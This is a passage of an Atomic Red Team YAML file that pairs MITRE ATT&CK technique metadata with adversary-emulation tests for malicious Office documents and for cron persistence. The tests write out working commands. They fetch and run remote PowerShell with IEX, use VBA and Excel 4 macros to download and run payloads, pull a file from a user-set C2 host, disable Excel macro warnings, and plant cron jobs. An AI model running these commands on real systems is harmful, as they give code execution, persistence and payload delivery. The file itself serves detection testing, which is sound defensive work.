stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile('ostapout.txt', 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file} cscript //E:Jscript #{script_file} cleanup_command: 'del #{script_file} /F /Q >nul 2>&1 ' name: command_prompt - name: Maldoc choice flags command execution auto_generated_guid: 0330a5d2-a45a-4272-a9ee-e364411c4b18 description: | This Test uses a VBA macro to execute cmd with flags observed in recent maldoc and 2nd stage downloaders. Upon execution, CMD will be launched. Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents. supported_platforms: - windows input_arguments: ms_product: description: Maldoc application Word or Excel type: string default: Word dependency_executor_name: powershell dependencies: - description: 'Microsoft #{ms_product} must be installed ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) $macrocode = " a = Shell(`"cmd.exe /c choice /C Y /N /D Y /T 3`", vbNormalFocus)" Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}" name: powershell - name: OSTAP JS version auto_generated_guid: add560ef-20d6-4011-a937-2c340f930911 description: | Malicious JavaScript executing CMD which spawns wscript.exe //e:jscript Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents. supported_platforms: - windows input_arguments: jse_path: description: jse file to execute with wscript type: path default: C:\Users\Public\art.jse ms_product: description: Maldoc application Word or Excel type: string default: Word dependency_executor_name: powershell dependencies: - description: 'Microsoft #{ms_product} must be installed ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) $macrocode = " Open `"#{jse_path}`" For Output As #1`n Write #1, `"WScript.Quit`"`n Close #1`n a = Shell(`"cmd.exe /c wscript.exe //E:jscript #{jse_path}`", vbNormalFocus)`n" Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}" name: powershell - name: Office launching .bat file from AppData auto_generated_guid: 9215ea92-1ded-41b7-9cd6-79f9a78397aa description: Microsoft Office creating then launching a .bat script from an AppData directory. The .bat file launches calc.exe when opened. supported_platforms: - windows input_arguments: bat_path: description: Path to malicious .bat file type: string default: $("$env:temp\art1204.bat") ms_product: description: Maldoc application Word or Excel type: string default: Word dependency_executor_name: powershell dependencies: - description: 'Microsoft #{ms_product} must be installed ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) $macrocode = " Open `"#{bat_path}`" For Output As #1`n Write #1, `"calc.exe`"`n Close #1`n a = Shell(`"cmd.exe /c #{bat_path} `", vbNormalFocus)`n" Invoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product} cleanup_command: | Remove-Item #{bat_path} -ErrorAction Ignore Get-Process | Where-Object { $_.MainModule.FileName -like "*calculator*" } | Stop-Process name: powershell - name: Excel 4 Macro auto_generated_guid: 4ea1fc97-8a46-4b4e-ba48-af43d2a98052 description: | This module creates an Excel 4 Macro (XLM) enabled spreadsheet and executes it. The XLM will first write a "malicious" VBS file to %TEMP%, then execute this file. The VBS will download Process Explorer to the same directory (%TEMP%) and exec. A note regarding this module. By default, this module will pull the current username from the system and places it into the macro. If you'd like to utilize the "=GET.WORKSPACE(26)" method, that many maldoc authors use, you will need to ensure that the User Name associated with Excel matches that of the local system. This username can be found under Files -> Options -> Username supported_platforms: - windows input_arguments: download_url: description: Download URL type: string default: https://live.sysinternals.com/procexp.exe uname: description: Username for pathing type: string default: "$env:Username" dependency_executor_name: powershell dependencies: - description: 'Microsoft Excel must be installed ' prereq_command: | try { New-Object -COMObject "Excel.Application" | Out-Null Stop-Process -Name "Excel" exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Excel manually to meet this requirement" ' executor: command: | $fname = "$env:TEMP\atomic_redteam_x4m_exec.vbs" $fname1 = "$env:TEMP\procexp.exe" if (Test-Path $fname) { Remove-Item $fname Remove-Item $fname1 } $xlApp = New-Object -COMObject "Excel.Application" $xlApp.Visible = $True $xlApp.DisplayAlerts = $False $xlBook = $xlApp.Workbooks.Add() $sheet = $xlBook.Excel4MacroSheets.Add() if ("#{uname}" -ne "") { $sheet.Cells.Item(1,1) = "#{uname}" } else { $sheet.Cells.Item(1,1) = "=GET.WORKSPACE(26)" } $sheet.Cells.Item(2,1) = "procexp.exe" $sheet.Cells.Item(3,1) = "atomic_redteam_x4m_exec.vbs" $sheet.Cells.Item(4,1) = "=IF(ISNUMBER(SEARCH(`"64`",GET.WORKSPACE(1))), GOTO(A5),)" $sheet.Cells.Item(5,1) = "=FOPEN(`"C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A3&`"`", 3)" $sheet.Cells.Item(6,1) = "=FWRITELN(A5, `"url = `"`"#{download_url}`"`"`")" $sheet.Cells.Item(7,1) = "=FWRITELN(A5, `"`")" $sheet.Cells.Item(8,1) = "=FWRITELN(A5, `"Set winHttp = CreateObject(`"`"WinHTTP.WinHTTPrequest.5.1`"`")`")" $sheet.Cells.Item(9,1) = "=FWRITELN(A5, `"winHttp.Open `"`"GET`"`", url, False`")" $sheet.Cells.Item(10,1) = "=FWRITELN(A5, `"winHttp.Send`")" $sheet.Cells.Item(11,1) = "=FWRITELN(A5, `"If winHttp.Status = 200 Then`")" $sheet.Cells.Item(12,1) = "=FWRITELN(A5, `"Set oStream = CreateObject(`"`"ADODB.Stream`"`")`")" $sheet.Cells.Item(13,1) = "=FWRITELN(A5, `"oStream.Open`")" $sheet.Cells.Item(14,1) = "=FWRITELN(A5, `"oStream.Type = 1`")" $sheet.Cells.Item(15,1) = "=FWRITELN(A5, `"oStream.Write winHttp.responseBody`")" $sheet.Cells.Item(16,1) = "=FWRITELN(A5, `"oStream.SaveToFile `"`"C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A2&`"`"`", 2`")" $sheet.Cells.Item(17,1) = "=FWRITELN(A5, `"oStream.Close`")" $sheet.Cells.Item(18,1) = "=FWRITELN(A5, `"End If`")" $sheet.Cells.Item(19,1) = "=FCLOSE(A5)" $sheet.Cells.Item(20,1) = "=EXEC(`"explorer.exe C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A3&`"`")" $sheet.Cells.Item(21,1) = "=WAIT(NOW()+`"00:00:05`")" $sheet.Cells.Item(22,1) = "=EXEC(`"explorer.exe C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A2&`"`")" $sheet.Cells.Item(23,1) = "=HALT()" $sheet.Cells.Item(1,1).Name = "runme" $xlApp.Run("runme") $xlApp.Quit() [System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlBook) | Out-Null [System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlApp) | Out-Null [System.GC]::Collect() [System.GC]::WaitForPendingFinalizers() Remove-Variable xlBook Remove-Variable xlApp cleanup_command: | Stop-Process -Name "procexp*" -ErrorAction Ignore Remove-Item "$env:TEMP\atomic_redteam_x4m_exec.vbs" -ErrorAction Ignore Remove-Item "$env:TEMP\procexp.exe" -ErrorAction Ignore name: powershell - name: Headless Chrome code execution via VBA auto_generated_guid: a19ee671-ed98-4e9d-b19c-d1954a51585a description: | This module uses Google Chrome combined with ScriptControl to achieve code execution. It spawns a local webserver hosting our malicious payload. Headless Google Chrome will then reach out to this webserver and pull down the script and execute it. By default the payload will execute calc.exe on the system. supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Microsoft Word must be installed ' prereq_command: | try { $wdApp = New-Object -COMObject "Word.Application" Stop-Process -Name "winword" exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually to meet this requirement" ' - description: 'Google Chrome must be installed ' prereq_command: | try { $chromeInstalled = (Get-Item (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe').'(Default)').VersionInfo.FileName exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Google Chrome manually to meet this requirement" ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1204.002\src\chromeexec-macrocode.txt" -officeProduct "Word" -sub "ExecChrome" name: powershell cleanup_command: 'Stop-Process -name mshta ' - name: Potentially Unwanted Applications (PUA) auto_generated_guid: 02f35d62-9fdc-4a97-b899-a5d9a876d295 description: 'The Potentially Unwanted Applications (PUA) protection feature in antivirus software can identify and block PUAs from downloading and installing on endpoints in your network. These applications are not considered viruses, malware, or other types of threats, but might perform actions on endpoints that adversely affect their performance or use. This file is similar to EICAR test virus file, but is considered a Potentially Unwanted Application (PUA) instead of a VIRUS (i.e. not actually malicious, but is flagged as it to verify anti-pua protection). ' supported_platforms: - windows input_arguments: pua_url: description: url to PotentiallyUnwanted.exe type: url default: http://amtso.eicar.org/PotentiallyUnwanted.exe pua_file: description: path to PotentiallyUnwanted.exe type: path default: "$env:TEMP/PotentiallyUnwanted.exe" executor: name: powershell elevation_required: false command: | Invoke-WebRequest #{pua_url} -OutFile #{pua_file} & "#{pua_file}" cleanup_command: | Stop-Process -name PotentiallyUnwanted Remove-Item #{pua_file} -ErrorAction Ignore - name: Office Generic Payload Download auto_generated_guid: 5202ee05-c420-4148-bf5e-fd7f7d24850c description: | This Test uses a VBA macro to launch Powershell which will download a file from a user defined web server. Required input agruments are c2_domain and file_name Execution is handled by [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents. Example for c2 server located at 127.0.0.1 for the file test.txt which is nested below the parent directory in the tests/my-test folder Example input args for file in root directory c2-domain = 127.0.0.1, file-name = test.txt supported_platforms: - windows input_arguments: macro_path: description: 'Location of file which will be converted to a VBA macro ' type: path default: PathToAtomicsFolder/T1204.002/src/test9-GenericPayloadDownload.txt c2_domain: description: 'This required variable points to a user defined HTTP server that will host the file_name in the c2_parent_directory. ' type: url default: c2_parent_directory: description: | Parent directory where you have the "malicious" file on c2_domain server. Will default to root directory. Forward slashes are not needed at begining or ending of directory path type: path default: '' file_name: description: | "Malicious" file to be downloaded. This required file needs to be place on the user provided c2 domain Example file can be found at PathToAtomicsFolder/T1204.002/src/test9-example-payload.txt type: string default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/test9-example-payload.txt ms_product: description: 'Maldoc application Word or Excel ' type: string default: Word dependency_executor_name: powershell dependencies: - description: 'Destination c2_domain name or IP address must be set to a running HTTP server. ' prereq_command: 'if (#{c2_domain}) (exit 0) else (exit 1) ' get_prereq_command: 'Write-Host "Destination c2 server domain name or IP address must be set and reachable for HTTP service" ' - description: 'Microsoftt #{ms_product} must be installed ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" ' executor: name: powershell command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) $macroCode = Get-Content "#{macro_path}" -Raw $URL = "#{c2_domain}" + "/" + "#{c2_parent_directory}" $macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', "#{file_name}" Invoke-MalDoc -macroCode $macroCode -officeProduct "#{ms_product}" cleanup_command: 'Remove-Item "C:\Users\$env:username\Desktop\#{file_name}" -ErrorAction Ignore ' - name: LNK Payload Download auto_generated_guid: 581d7521-9c4b-420e-9695-2aec5241167f description: This lnk files invokes powershell to download putty from the internet and opens the file. https://twitter.com/ankit_anubhav/status/1518932941090410496 supported_platforms: - windows executor: command: | Invoke-WebRequest -OutFile $env:Temp\test10.lnk "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk" $file1 = "$env:Temp\test10.lnk" Start-Process $file1 Start-Sleep -s 10 taskkill /IM a.exe /F cleanup_command: |- $file1 = "$env:Temp\test10.lnk" $file2 = "$env:Temp\a.exe" Remove-Item $file1 -ErrorAction Ignore Remove-Item $file2 -ErrorAction Ignore name: powershell - name: Mirror Blast Emulation auto_generated_guid: 24fd9719-7419-42dd-bce6-ab3463110b3c description: "Emulates the JS -> MSI chain of the MirrorBlast T505 campaign by executing an xlsm file designed. \nRequires the 32 bit version of Office to run. [MirrorBlast Campaign Analysis](https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies)\n" supported_platforms: - windows executor: command: |- Cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs" New-ItemProperty -Path Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Excel\Security -Name "VBAWarnings" -Value "1" -PropertyType DWORD -Force | Out-Null & '.\Excel 2016.lnk' "PathToAtomicsFolder\T1204.002\bin\mirrorblast_emulation.xlsm" cleanup_command: reg delete "HKCU\SOFTWARE\Microsoft\Office\16.0\Excel\Security" /v "VBAWarnings" /f name: powershell T1053.003: technique: x_mitre_platforms: - Linux - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c type: attack-pattern created: '2019-12-03T14:25:00.538Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1053.003 url: https://attack.mitre.org/techniques/T1053/003 - source_name: 20 macOS Common Tools and Techniques url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. modified: '2022-05-11T14:00:00.188Z' name: 'Scheduled Task/Job: Cron' description: "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. " x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Creation' - 'Scheduled Job: Scheduled Job Creation' - 'Command: Command Execution' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1053.003 atomic_tests: - name: Cron - Replace crontab with referenced file auto_generated_guid: 435057fb-74b1-410e-9403-d81baf194f75 description: 'This test replaces the current user''s crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks. ' supported_platforms: - linux - macos input_arguments: command: description: Command to execute type: string default: "/tmp/evil.sh" tmp_cron: description: Temporary reference file to hold evil cron schedule type: path default: "/tmp/persistevil" executor: name: sh command: | crontab -l > /tmp/notevil echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron} cleanup_command: 'crontab /tmp/notevil ' - name: Cron - Add script to all cron subfolders auto_generated_guid: b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0 description: 'This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers. ' supported_platforms: - macos - linux input_arguments: command: description: Command to execute type: string default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log cron_script_name: description: Name of file to store in cron folder type: string default: persistevil executor: elevation_required: true name: bash command: | echo "#{command}" > /etc/cron.daily/#{cron_script_name} echo "#{command}" > /etc/cron.hourly/#{cron_script_name} echo "#{command}" > /etc/cron.monthly/#{cron_script_name} echo "#{command}" > /etc/cron.weekly/#{cron_script_name} cleanup_command: | rm /etc/cron.daily/#{cron_script_name} -f rm /etc/cron.hourly/#{cron_script_name} -f rm /etc/cron.monthly/#{cron_script_name} -f rm /etc/cron.weekly/#{cron_script_name} -f - name: Cron - Add script to /etc/cron.d folder auto_generated_guid: '078e69eb-d9fb-450e-b9d0-2e118217c846' description: 'This test adds a script to /etc/cron.d folder configured to execute on a schedule. ' supported_platforms: - linux input_arguments: command: description: Command to execute type: string default: echo '*/5 * * * * root echo "Hello from Atomic Red Team"' > /tmp/atomic.log cron_script_name: description: Name of file to store in cron folder type: string default: persistevil executor: elevation_required: true name: sh command: 'echo "#{command}" > /etc/cron.d/#{cron_script_name} ' cleanup_command: 'rm /etc/cron.d/#{cron_script_name} -f ' - name: Cron - Add script to /var/spool/cron/crontabs/ folder auto_generated_guid: 2d943c18-e74a-44bf-936f-25ade6cccab4 description: 'This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers. ' supported_platforms: - linux input_arguments: command: description: Command to execute type: string default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log cron_script_name: description: Name of file to store in /var/spool/cron/crontabs folder type: string default: persistevil executor: elevation_required: true name: bash command: 'echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name} ' cleanup_command: 'rm /var/spool/cron/crontabs/#{cron_script_name} -f ' T1559.001: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64 type: attack-pattern created: '2020-02-12T14:09:53.107Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1559.001 url: https://attack.mitre.org/techniques/T1559/001 - source_name: Fireeye Hunting COM June 2019 url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019. - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017. source_name: Microsoft COM - url: https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html description: 'Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.' source_name: ProjectZero File Write EoP Apr 2018 - url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017. source_name: Enigma Outlook DCOM Lateral Movement Nov 2017 - url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017. source_name: Enigma MMC20 COM Jan 2017 modified: '2022-04-25T14:00:00.188Z' name: Component Object Model description: |- Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_detection: "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. " x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Module: Module Load' - 'Script: Script Execution' - 'Process: Process Creation' x_mitre_remote_support: true spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1053: technique: modified: '2024-03-01T15:29:46.832Z' name: Scheduled Task/Job description: |- Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security) Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Prashant Verma, Paladion - Leo Loobeek, @leoloobeek - Travis Smith, Tripwire - Alain Homewood, Insomnia Security - Andrew Northern, @ex_raritas - Bryan Campbell, @bry_campbell - Zachary Abzug, @ZackDoesML - Selena Larson, @selenalarson x_mitre_deprecated: false x_mitre_detection: "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Linux - macOS - Containers x_mitre_version: '2.3' x_mitre_data_sources: - 'Scheduled Job: Scheduled Job Creation' - 'File: File Creation' - 'Process: Process Creation' - 'Container: Container Creation' - 'Command: Command Execution' - 'File: File Modification' x_mitre_effective_permissions: - SYSTEM - Administrator - User x_mitre_permissions_required: - Administrator - SYSTEM - User x_mitre_remote_support: true type: attack-pattern id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 created: '2017-05-31T21:30:46.977Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053 external_id: T1053 - source_name: ProofPoint Serpent description: Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022. url: https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain - source_name: TechNet Task Scheduler Security description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016. url: https://technet.microsoft.com/en-us/library/cc785125.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1059.002: technique: modified: '2024-03-01T19:06:05.126Z' name: 'Command and Scripting Interpreter: AppleScript' description: |- Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. Scripts can be run from the command-line via osascript /path/to/script or osascript -e "script here". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript) AppleScripts do not need to call osascript to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility. Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_contributors: - Phil Stokes, SentinelOne x_mitre_deprecated: false x_mitre_detection: |- Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - macOS x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'Process: OS API Execution' x_mitre_remote_support: false type: attack-pattern id: attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb created: '2020-03-09T14:07:54.329Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1059/002 external_id: T1059.002 - source_name: Apple AppleScript description: Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020. url: https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html - source_name: SentinelOne macOS Red Team description: 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.' url: https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/ - source_name: SentinelOne AppleScript description: Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020. url: https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/ - source_name: Macro Malware Targets Macs description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017. url: 